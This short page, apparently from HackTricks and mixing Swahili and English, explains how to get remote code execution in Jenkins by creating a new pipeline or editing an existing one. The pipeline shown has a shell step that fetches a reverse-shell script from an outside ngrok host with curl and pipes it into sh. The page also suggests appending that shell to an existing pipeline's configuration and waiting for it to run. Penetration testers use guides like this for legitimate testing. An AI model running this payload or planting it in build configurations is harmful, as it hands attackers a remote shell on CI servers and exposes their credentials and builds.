Jenkins RCE Creating/Modifying Pipeline

Support HackTricks

Kuunda Pipeline Mpya

Katika "Kitu Kipya" (inapatikana katika /view/all/newJob) chagua Pipeline:

Katika sehemu ya Pipeline andika reverse shell:

pipeline {
agent any

stages {
stage('Hello') {
steps {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
'''
}
}
}
}

Finally click on Save, and Build Now and the pipeline will be executed:

Modifying a Pipeline

If you can access the configuration file of some pipeline configured you could just modify it appending your reverse shell and then execute it or wait until it gets executed.

Support HackTricks

Last updated